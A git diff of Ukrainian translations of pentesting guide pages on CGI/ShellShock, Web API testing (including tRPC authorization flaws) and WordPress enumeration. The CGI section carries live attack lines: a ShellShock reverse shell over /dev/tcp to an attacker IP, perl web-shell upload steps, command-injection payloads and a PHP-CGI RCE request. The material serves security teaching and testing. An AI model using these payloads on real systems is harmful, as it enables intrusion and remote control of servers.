для пакетів дистрибутива та у `/etc/systemd/system/` для змін адміністратора, спрощуючи адміністрування системи. +**systemd** — сучасний ініціалізатор та менеджер сервісів, який пропонує розширені можливості, такі як запуск демонів за вимогою, управління автоматичним монтуванням та знімки стану системи. Він організовує файли у `/usr/lib/systemd/` для пакетів дистрибутиву та у `/etc/systemd/system/` для змін адміністратора, спрощуючи процес адміністрування системи. -## Інші трюки +## Other Tricks ### NFS Privilege escalation @@ -1486,7 +1493,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks зазвичай hook-ають syscall, щоб відкрити привілейовану функціональність ядра для userspace-менеджера. Слабка аутентифікація менеджера (наприклад, перевірки підписів на базі FD-order або слабкі схеми паролів) може дозволити локальному додатку видавати себе за менеджера та escalate до root на вже rooted-пристроях. Дізнайтеся більше та деталі експлуатації тут: +Android rooting frameworks commonly hook a `syscall` to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here: {{#ref}} @@ -1495,15 +1502,15 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) -Regex-driven service discovery у VMware Tools/Aria Operations може витягувати шлях до бінарного файлу з командних рядків процесів і виконувати його з параметром -v у привілейованому контексті. Дозволяючі шаблони (наприклад, використання \S) можуть співпасти з розміщеними атакуючим слушачами у записуваних локаціях (наприклад, /tmp/httpd), що призводить до виконання як root (CWE-426 Untrusted Search Path). +Regex-driven service discovery in VMware Tools/Aria Operations can extract a binary path from process command lines and execute it with `-v` under a privileged context. Permissive patterns (e.g., using \S) may match attacker-staged listeners in writable locations (e.g., /tmp/httpd), leading to execution as root (CWE-426 Untrusted Search Path). -Дізнайтеся більше та перегляньте узагальнений шаблон, застосовний до інших discovery/monitoring стеків тут: +Learn more and see a generalized pattern applicable to other discovery/monitoring stacks here: {{#ref}} vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md {{#endref}} -## Захист ядра +## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) @@ -1514,7 +1521,7 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md ## Linux/Unix Privesc Tools -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Найкращий інструмент для пошуку Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index 1c259db40..cea2a2c42 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -5,26 +5,26 @@ ## Інформація -The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **change the extension** from **.pl** to **.cgi**, give **execute permissions** \(`chmod +x`\) and **access** the reverse shell **from the web browser** to execute it. -In order to test for **CGI vulns** it's recommended to use `nikto -C all` \(and all the plugins\) +The **CGI скрипти — perl-скрипти**, тож, якщо ви скомпрометували сервер, який може виконувати _**.cgi**_ скрипти, ви можете **завантажити perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **змінити розширення** з **.pl** на **.cgi**, надати **права на виконання** \(`chmod +x`\) та **доступитися** до reverse shell **через веб-браузер**, щоб його виконати. +Щоб перевіряти на **CGI vulns**, рекомендовано використовувати `nikto -C all` \(і всі плагіни\) ## **ShellShock** -**ShellShock** — це вразливість, яка впливає на широко вживаний інтерпретатор командного рядка **Bash** у Unix-подібних операційних системах. Вона експлуатує здатність Bash виконувати команди, передані додатками. Вразливість полягає в маніпуляції **змінними середовища**, які є динамічними іменованими значеннями, що впливають на виконання процесів на комп'ютері. Атакувальники можуть прикріплювати до змінних середовища **шкідливий код**, який буде виконано при отриманні цієї змінної. Це дозволяє потенційно скомпрометувати систему. +**ShellShock** — це **вразливість**, яка впливає на широко використовувану командну оболонку **Bash** в Unix-подібних операційних системах. Вона націлена на здатність Bash виконувати команди, передані додатками. Уразливість полягає в маніпуляції **environment variables**, які є динамічними іменованими значеннями, що впливають на те, як процеси виконуються на комп'ютері. Атакуючі можуть експлуатувати це, додаючи **malicious code** до environment variables, яке виконується при отриманні змінної. Це дозволяє зловмисникам потенційно скомпрометувати систему. -Експлуатація цієї вразливості може призвести до того, що **сторінка видасть помилку**. +Експлуатуючи цю вразливість **сторінка може викидати помилку**. -Ви можете виявити цю вразливість, помітивши, що використовується стара версія **Apache** і **cgi_mod** (з папкою cgi) або за допомогою **nikto**. +Ви можете **знайти** цю вразливість, помітивши, що використовується **old Apache version** та **cgi_mod** \(з папкою cgi\) або використавши **nikto**. -### **Тест** +### **Test** -Більшість тестів ґрунтуються на використанні `echo` для виведення певного рядка і очікуванні, що цей рядок буде повернутий у веб-відповіді. Якщо ви вважаєте, що сторінка може бути вразливою, знайдіть усі cgi-сторінки та протестуйте їх. +Більшість тестів базуються на виведенні певного рядка (echo ...) і очікуванні, що цей рядок повернеться у веб-відповіді. Якщо ви вважаєте, що сторінка може бути вразливою, знайдіть усі cgi-сторінки і протестуйте їх. **Nmap** ```bash nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi ``` -## **Curl \(reflected, blind та out-of-band\)** +## **Curl \(відображений, сліпий та out-of-band\)** ```bash # Reflected curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE' @@ -51,15 +51,15 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt > set rhosts 10.1.2.11 > run ``` -## Центральізовані CGI диспетчери (маршрутизація на один endpoint через селектор-параметри) +## Централізовані CGI-диспетчери (маршрутизація одного endpoint через селекторні параметри) -Багато вбудованих веб-інтерфейсів мультиплексують десятки привілейованих дій за одним CGI endpoint (наприклад, `/cgi-bin/cstecgi.cgi`) і використовують селектор-параметр, такий як `topicurl=`, щоб скеровувати запит до внутрішньої функції. +Багато вбудованих веб-інтерфейсів мультиплексують десятки привілейованих дій за одним CGI endpoint (наприклад, `/cgi-bin/cstecgi.cgi`) і використовують селекторний параметр, наприклад `topicurl=`, щоб спрямувати запит до внутрішньої функції. -Методика експлуатації цих маршрутизаторів: +Методика експлуатації таких маршрутизаторів: -- Перелічити імена handlers: scrape JS/HTML, brute-force з wordlists, або розпаковувати firmware і grep для рядків handler, які використовує dispatcher. -- Перевірити доступність без автентифікації: деякі handlers пропускають auth checks і доступні напряму. -- Зосередитись на handlers, які викликають system utilities або торкаються файлів; слабкі validators часто блокують лише кілька символів і можуть пропустити провідний дефіс `-`. +- Enumerate handler names: скрейпте JS/HTML, brute-force with wordlists, або розпаковуйте firmware і використовуйте grep для рядків handler, що застосовуються dispatcher'ом. +- Test unauthenticated reachability: деякі handlers пропускають auth checks і доступні безпосередньо. +- Focus on handlers that invoke system utilities or touch files; слабкі валідатори часто блокують лише кілька символів і можуть пропустити ведучий дефіс `-`. Generic exploit shapes: ```http @@ -75,29 +75,29 @@ topicurl=setEasyMeshAgentCfg&agentName=;id; # 3) Validator bypass → arbitrary file write in file-touching handlers topicurl=setWizardCfg&=/etc/init.d/S99rc ``` -Виявлення та посилення захисту: +Виявлення та підвищення безпеки: -- Слідкуйте за неаутентифікованими запитами до централізованих CGI endpoints з `topicurl`, встановленим на чутливі обробники. -- Позначайте параметри, що починаються з `-` (спроби argv option injection). -- Vendors: вимагайте аутентифікацію для всіх обробників, що змінюють стан, валідуйте за строгими allowlists/types/lengths, і ніколи не передавайте керовані користувачем рядки як параметри командного рядка. +- Слідкуйте за неавторизованими запитами до централізованих CGI-ендпойнтів із `topicurl`, встановленим на чутливі обробники. +- Позначайте параметри, що починаються з `-` (спроби інʼєкції опцій argv). +- Вендори: впроваджуйте автентифікацію для всіх обробників, що змінюють стан; валідуйте за суворими allowlists/types/lengths; і ніколи не передавайте керовані користувачем рядки як command-line flags. -## Старий PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) +## Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) -В основному, якщо cgi активний і php є "старим" \(<5.3.12 / < 5.4.2\) ви можете виконувати код. -Щоб експлуатувати цю вразливість, потрібно отримати доступ до деякого PHP файлу веб-сервера без передачі параметрів \(особливо без передачі символу "="\). -Тоді, щоб протестувати цю вразливість, ви можете, наприклад, звернутися до `/index.php?-s` \(зверніть увагу на `-s`\) і **вихідний код застосунку з'явиться у відповіді**. +По суті, якщо CGI активний і PHP "старий" \(<5.3.12 / < 5.4.2\), ви можете виконати код. +Щоб експлуатувати цю вразливість, потрібно отримати доступ до якогось PHP-файлу вебсерверу без відправлення параметрів \(особливо без відправлення символу "="\). +Потім, щоб перевірити цю вразливість, можна звернутися, наприклад, до `/index.php?-s` \(зверніть увагу на `-s`\) і **вихідний код додатка з'явиться у відповіді**. -Потім, щоб отримати **RCE**, ви можете надіслати цей спеціальний запит: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` і **PHP code** має бути виконаний у **тілі запиту. Приклад:** +Далі, щоб отримати **RCE**, можна надіслати цей спеціальний запит: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` і **PHP-код** буде виконано в **тілі запиту. Приклад:** ```bash curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" ``` -**Більше інформації про vuln та можливі exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** +**Більше інформації про вразливість та можливі експлойти:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** -## **Proxy \(MitM до запитів Web server\)** +## **Проксі \(MitM для запитів до веб-сервера\)** -CGI створює змінну середовища для кожного header у HTTP request. Наприклад: "host:web.com" створюється як "HTTP_HOST"="web.com" +CGI створює змінну середовища для кожного заголовка в http-запиті. Наприклад: "host:web.com" створюється як "HTTP_HOST"="web.com" -Оскільки змінна HTTP_PROXY може використовуватися web server. Спробуйте надіслати **header**, що містить: "**Proxy: <IP_attacker>:<PORT>**" і якщо сервер виконуватиме будь-які запити під час сесії, ви зможете перехопити кожен запит, який робить сервер. +Оскільки змінна HTTP_PROXY може використовуватися веб-сервером, спробуйте надіслати **header**, що містить: "**Proxy: <IP_attacker>:<PORT>**", і якщо сервер виконає будь-які запити під час сесії, ви зможете перехопити кожен запит, зроблений сервером. ## **Посилання** diff --git a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md index 238a8e198..34cc39ce7 100644 --- a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -1,55 +1,97 @@ -# Web API Pentesting +# Веб-API Pentesting {{#include ../../banners/hacktricks-training.md}} -## API Pentesting Methodology Summary +## API Pentesting — короткий огляд методології -Pentesting APIs передбачає структурований підхід до виявлення вразливостей. Цей посібник охоплює всебічну методологію, підкреслюючи практичні техніки та інструменти. +Pentesting API вимагає структурованого підходу для виявлення вразливостей. Цей посібник узагальнює всебічну методологію, акцентуючи на практичних техніках та інструментах. -### **Understanding API Types** +### **Розуміння типів API** -- **SOAP/XML Web Services**: Використовують формат WSDL для документації, зазвичай знаходиться за шляхами `?wsdl`. Інструменти, такі як **SOAPUI** та **WSDLer** (розширення Burp Suite), є важливими для парсингу та генерації запитів. Приклад документації доступний на [DNE Online](http://www.dneonline.com/calculator.asmx). -- **REST APIs (JSON)**: Документація часто надається у файлах WADL, проте інструменти, такі як [Swagger UI](https://swagger.io/tools/swagger-ui/), забезпечують більш зручний інтерфейс для взаємодії. **Postman** є цінним інструментом для створення та управління прикладами запитів. -- **GraphQL**: Мова запитів для API, що пропонує повний та зрозумілий опис даних у вашому API. +- **SOAP/XML Web Services**: використовують формат WSDL для документації, зазвичай доступний за шляхами `?wsdl`. Інструменти як **SOAPUI** та **WSDLer** (Burp Suite Extension) корисні для парсингу та генерації запитів. Приклад документації доступний на [DNE Online](http://www.dneonline.com/calculator.asmx). +- **REST APIs (JSON)**: документація часто постає у вигляді WADL-файлів, але інструменти як [Swagger UI](https://swagger.io/tools/swagger-ui/) надають зручніший інтерфейс для взаємодії. **Postman** — цінний інструмент для створення та керування прикладами запитів. +- **GraphQL**: мова запитів для API, яка надає повний і зрозумілий опис даних у вашому API. -### **Practice Labs** +### **Практичні стенди** -- [**VAmPI**](https://github.com/erev0s/VAmPI): Навмисно вразливий API для практики, що охоплює 10 найкращих вразливостей API за версією OWASP. +- [**VAmPI**](https://github.com/erev0s/VAmPI): навмисно вразливий API для практики, охоплює OWASP top 10 API vulnerabilities. -### **Effective Tricks for API Pentesting** +### **Ефективні трюки для API Pentesting** -- **SOAP/XML Vulnerabilities**: Досліджуйте вразливості XXE, хоча оголошення DTD часто обмежені. Теги CDATA можуть дозволити вставку корисного навантаження, якщо XML залишається дійсним. -- **Privilege Escalation**: Тестуйте кінцеві точки з різними рівнями привілеїв, щоб виявити можливості несанкціонованого доступу. -- **CORS Misconfigurations**: Досліджуйте налаштування CORS на предмет потенційної експлуатації через CSRF-атаки з автентифікованих сесій. -- **Endpoint Discovery**: Використовуйте шаблони API для виявлення прихованих кінцевих точок. Інструменти, такі як фуззери, можуть автоматизувати цей процес. -- **Parameter Tampering**: Експериментуйте з додаванням або заміною параметрів у запитах для доступу до несанкціонованих даних або функціональностей. -- **HTTP Method Testing**: Варіюйте методи запитів (GET, POST, PUT, DELETE, PATCH), щоб виявити несподівану поведінку або розкриття інформації. -- **Content-Type Manipulation**: Перемикайтеся між різними типами вмісту (x-www-form-urlencoded, application/xml, application/json), щоб перевірити наявність проблем з парсингом або вразливостей. -- **Advanced Parameter Techniques**: Тестуйте з несподіваними типами даних у JSON-навантаженнях або грайте з XML-даними для XXE-ін'єкцій. Також спробуйте забруднення параметрів і символи підстановки для більш широкого тестування. -- **Version Testing**: Старі версії API можуть бути більш вразливими до атак. Завжди перевіряйте та тестуйте проти кількох версій API. +- **SOAP/XML Vulnerabilities**: перевіряйте XXE, хоча декларації DTD часто відключені. Теги CDATA можуть дозволити вставку payload, якщо XML залишається валідним. +- **Privilege Escalation**: тестуйте ендпоінти з різними рівнями привілеїв, щоб виявити можливості несанкціонованого доступу. +- **CORS Misconfigurations**: досліджуйте налаштування CORS на предмет можливого експлуатування через CSRF із сесій, що вже автентифіковані. +- **Endpoint Discovery**: використовуйте патерни API для виявлення прихованих ендпоінтів. Інструменти-фаззери можуть автоматизувати цей процес. +- **Parameter Tampering**: експериментуйте з додаванням або заміною параметрів у запитах, щоб отримати неавторизований доступ до даних або функціональностей. +- **HTTP Method Testing**: змінюйте методи запитів (GET, POST, PUT, DELETE, PATCH) щоб знайти несподівану поведінку або витоки інформації. +- **Content-Type Manipulation**: перемикайтеся між різними content-type (x-www-form-urlencoded, application/xml, application/json) щоб перевірити проблеми парсингу або вразливості. +- **Advanced Parameter Techniques**: тестуйте несподівані типи даних в JSON-пейлоадах або експериментуйте з XML для XXE-ін’єкцій. Також пробуйте parameter pollution та wildcard-символи для ширшого охоплення тестів. +- **Version Testing**: старі версії API можуть бути більш вразливими. Завжди перевіряйте і тестуйте кілька версій API. -### **Tools and Resources for API Pentesting** +### Авторизація та бізнес-логіка (AuthN != AuthZ) — підводні камені tRPC/Zod protectedProcedure -- [**kiterunner**](https://github.com/assetnote/kiterunner): Чудово підходить для виявлення кінцевих точок API. Використовуйте його для сканування та брутфорсингу шляхів і параметрів проти цільових API. +Сучасні TypeScript-стеки часто використовують tRPC разом із Zod для валідації вводу. У tRPC `protectedProcedure` зазвичай гарантує наявність валідної сесії (authentication), але не означає, що виконавець має потрібну роль/дозволи (authorization). Така невідповідність призводить до Broken Function Level Authorization/BOLA, якщо чутливі процедури захищені лише через `protectedProcedure`. + +- Модель загрози: будь-який користувач з низькими привілеями та автентифікацією може викликати процедури рівня адміністратора, якщо відсутні перевірки ролей/дозволів (наприклад, background migrations, feature flags, tenant-wide maintenance, job control). +- Чорнокоробковий сигнал: ендпоінти `POST /api/trpc/.` які працюють для базових акаунтів, тоді як вони повинні бути доступні лише адміністраторам. Self-serve signups значно підвищують можливість експлуатації. +- Типова форма маршруту tRPC (v10+): JSON-тіло загорнуте під `{"input": {...}}`. + +Example vulnerable pattern (no role/permission gate): +```ts +// The endpoint for retrying a migration job +// This checks for a valid session (authentication) +retry: protectedProcedure +// but not for an admin role (authorization). +.input(z.object({ name: z.string() })) +.mutation(async ({ input, ctx }) => { +// Logic to restart a sensitive migration +}), +``` +Практична експлуатація (black-box) + +1) Зареєструйте звичайний акаунт та отримайте автентифіковану сесію (cookies/headers). +2) Перелічте background jobs або інші чутливі ресурси через процедури “list”/“all”/“status”. +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.all' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{}}' +``` +3) Викликати привілейовані дії, такі як перезапуск завдання: +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.retry' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{"name":""}}' +``` +Вплив для оцінки + +- Пошкодження даних через неідемпотентні перезапуски: примусовий одночасний запуск міграцій/воркерів може створити умови гонки та неконсистентні часткові стани (прихована втрата даних, зламані аналітичні звіти). +- DoS via worker/DB starvation: повторне ініціювання важких завдань може вичерпати пул воркерів і з'єднання з базою даних, спричиняючи відмови, що охоплюють усіх орендарів. + +### **Інструменти та ресурси для API Pentesting** + +- [**kiterunner**](https://github.com/assetnote/kiterunner): Відмінний для виявлення API endpoints. Використовуйте його для сканування та brute force шляхів і параметрів проти цільових API. ```bash kr scan https://domain.com/api/ -w routes-large.kite -x 20 kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20 kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0 kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 ``` -- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj - це інструмент командного рядка, призначений для допомоги в аудиті **викритих файлів визначення Swagger/OpenAPI**, перевіряючи відповідні API кінцеві точки на наявність слабкої аутентифікації. Він також надає шаблони команд для ручного тестування вразливостей. -- Додаткові інструменти, такі як **automatic-api-attack-tool**, **Astra** та **restler-fuzzer**, пропонують спеціалізовані функції для тестування безпеки API, починаючи від симуляції атак до фуззингу та сканування вразливостей. -- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): Це інструмент безпеки API, який проводить аудит вашого API на основі файлу OAS (інструмент написаний на Rust). +- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj — це command line tool, призначений, щоб допомогти з auditing **exposed Swagger/OpenAPI definition files** шляхом перевірки пов'язаних API endpoints на наявність weak authentication. Також надає command templates для manual vulnerability testing. +- Додаткові інструменти, такі як **automatic-api-attack-tool**, **Astra** та **restler-fuzzer**, пропонують спеціалізовані функції для API security testing, від attack simulation до fuzzing та vulnerability scanning. +- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): Це API security tool, який проводить аудит вашого API на основі OAS file (інструмент написаний на rust). ### **Ресурси для навчання та практики** -- **OWASP API Security Top 10**: Основне читання для розуміння поширених вразливостей API ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). -- **API Security Checklist**: Всеосяжний контрольний список для забезпечення безпеки API ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). -- **Logger++ Filters**: Для пошуку вразливостей API, Logger++ пропонує корисні фільтри ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). -- **API Endpoints List**: Кураторський список потенційних API кінцевих точок для тестування ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). +- **OWASP API Security Top 10**: Обов'язкове читання для розуміння common API vulnerabilities ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). +- **API Security Checklist**: Всебічний checklist для захисту API ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). +- **Logger++ Filters**: Для пошуку API vulnerabilities, Logger++ пропонує корисні filters ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). +- **API Endpoints List**: Курована list потенційних API endpoints для testing purposes ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). ## Посилання - [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire) +- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 065b5830a..a2554a52b 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -4,49 +4,49 @@ ## Основна інформація -- **Uploaded** файли потрапляють у: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Themes files can be found in /wp-content/themes/,** тому якщо ви зміните якийсь php теми, щоб отримати RCE, ви, ймовірно, будете використовувати цей шлях. Наприклад: використовуючи **theme twentytwelve** ви можете отримати доступ до файлу **404.php** за адресою: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Uploaded** файли зберігаються у: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` +- **Файли тем можна знайти в /wp-content/themes/,** тож якщо ви зміните якийсь php у темі, щоб отримати RCE, ви, ймовірно, будете використовувати цей шлях. Наприклад: використовуючи **theme twentytwelve** ви можете отримати доступ до файлу **404.php** за адресою: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Ще одна корисна url-адреса може бути:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - У **wp-config.php** можна знайти root-пароль бази даних. -- Шляхи для входу за замовчуванням, які варто перевірити: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ +- Типові шляхи входу для перевірки: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ ### **Main WordPress Files** - `index.php` - `license.txt` містить корисну інформацію, наприклад версію встановленого WordPress. -- `wp-activate.php` використовується для процесу активації через email при налаштуванні нового сайту WordPress. -- Папки для логіну (можуть бути перейменовані для приховування): +- `wp-activate.php` використовується для процесу активації по email під час налаштування нового сайту WordPress. +- Папки входу (можуть бути перейменовані, щоб сховати): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` — файл, який реалізує функцію WordPress, що дозволяє передавати дані з використанням HTTP як транспортного механізму та XML як механізму кодування. Цей тип комунікації був замінений WordPress [REST API](https://developer.wordpress.org/rest-api/reference). -- Папка `wp-content` — це головний каталог, де зберігаються плагіни та теми. -- `wp-content/uploads/` — каталог, куди зберігаються всі файли, завантажені на платформу. +- `xmlrpc.php` — файл, що реалізує функцію WordPress для передачі даних з HTTP як транспортом та XML як механізмом кодування. Цей тип комунікації був замінений WordPress [REST API](https://developer.wordpress.org/rest-api/reference). +- Папка `wp-content` — головний каталог, де зберігаються plugins і themes. +- `wp-content/uploads/` — каталог, куди зберігаються файли, завантажені на платформу. - `wp-includes/` — каталог, де зберігаються основні файли, такі як сертифікати, шрифти, JavaScript-файли та віджети. -- `wp-sitemap.xml` У WordPress версіях 5.5 і вище, WordPress генерує sitemap XML файл з усіма публічними постами та публічно доступними типами записів і таксономіями. +- `wp-sitemap.xml` У версіях WordPress 5.5 і вище WordPress генерує sitemap XML файл зі всіма публічними записами та публічно доступними типами записів і таксономіями. **Post exploitation** -- Файл `wp-config.php` містить інформацію, необхідну WordPress для підключення до бази даних, таку як назва бази даних, хост бази даних, ім'я користувача та пароль, authentication keys and salts, та префікс таблиць бази даних. Цей конфігураційний файл також можна використовувати для активації DEBUG режиму, що може бути корисним при усуненні несправностей. +- Файл `wp-config.php` містить інформацію, необхідну WordPress для підключення до бази даних, таку як назва бази даних, хост бази даних, ім'я користувача і пароль, authentication keys and salts, та префікс таблиць бази даних. Цей конфігураційний файл також можна використовувати для активації DEBUG-режиму, що може бути корисним при усуненні несправностей. ### Права користувачів - **Administrator** -- **Editor**: Публікує та керує своїми й чужими публікаціями -- **Author**: Публікує та керує власними публікаціями -- **Contributor**: Пише та керує своїми публікаціями, але не може їх публікувати -- **Subscriber**: Переглядає пости та редагує свій профіль +- **Editor**: Публікує та керує своїми й чужими записами +- **Author**: Публікує і керує своїми записами +- **Contributor**: Пише і керує своїми записами, але не може їх публікувати +- **Subscriber**: Переглядає записи і редагує свій профіль ## **Passive Enumeration** ### **Get WordPress version** -Перевірте, чи можете знайти файли `/license.txt` або `/readme.html` +Перевірте, чи можна знайти файли `/license.txt` або `/readme.html` -У **вихідному коді** сторінки (приклад з [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): +У **вихідному коді** сторінки (приклад з [https://wordpress.org/support/article/pages/]): - grep ```bash @@ -56,11 +56,11 @@ curl https://victim.com/ | grep 'content="WordPress' ![](<../../images/image (1111).png>) -- Файли підключення CSS +- CSS link файли ![](<../../images/image (533).png>) -- Файли JavaScript +- JavaScript файли ![](<../../images/image (524).png>) @@ -68,20 +68,20 @@ curl https://victim.com/ | grep 'content="WordPress' ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### Отримання тем +### Отримати теми ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### Загальне отримання версій +### Отримання версій загалом ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` ## Активне перерахування -### Плагіни та Теми +### Plugins and Themes -Ви, ймовірно, не зможете знайти всі плагіни та теми, які можуть бути присутні. Щоб виявити їх усі, потрібно **активно Brute Force список плагінів та тем** (на щастя, існують автоматизовані інструменти, що містять ці списки). +Імовірно, ви не зможете знайти всі доступні Plugins and Themes. Щоб виявити їх усі, вам потрібно буде **actively Brute Force a list of Plugins and Themes** (на щастя, існують автоматизовані інструменти, які містять ці списки). ### Користувачі @@ -89,27 +89,27 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` -Якщо відповіді — **200** або **30X**, це означає, що id — **валідний**. Якщо відповідь — **400**, то id — **невалідний**. +Якщо відповіді — **200** або **30X**, це означає, що id є **дійсним**. Якщо відповідь — **400**, то id є **недійсним**. - **wp-json:** Ви також можете спробувати отримати інформацію про користувачів, зробивши запит: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` -Ще один endpoint `/wp-json/`, який може розкрити деяку інформацію про користувачів: +Ще один `/wp-json/` endpoint, який може виявити деяку інформацію про користувачів: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Note that this endpoint only exposes users that have made a post. **Інформація буде надана лише про користувачів, у яких ця функція увімкнена**. +Note that this endpoint only exposes users that have made a post. **Будуть надані лише дані про користувачів, у яких ця функція увімкнена**. Also note that **/wp-json/wp/v2/pages** could leak IP addresses. -- **Login username enumeration**: під час входу через **`/wp-login.php`** **повідомлення** **відрізняється** і вказує, **чи існує ім'я користувача чи ні**. +- **Login username enumeration**: Під час входу через **`/wp-login.php`** **повідомлення** **відрізняється**, вказуючи, чи **username** існує чи ні. ### XML-RPC -Якщо `xml-rpc.php` активний, ви можете виконати brute-force облікових даних або використати його для запуску DoS атак на інші ресурси. (Ви можете автоматизувати цей процес[ using this](https://github.com/relarizky/wpxploit) наприклад). 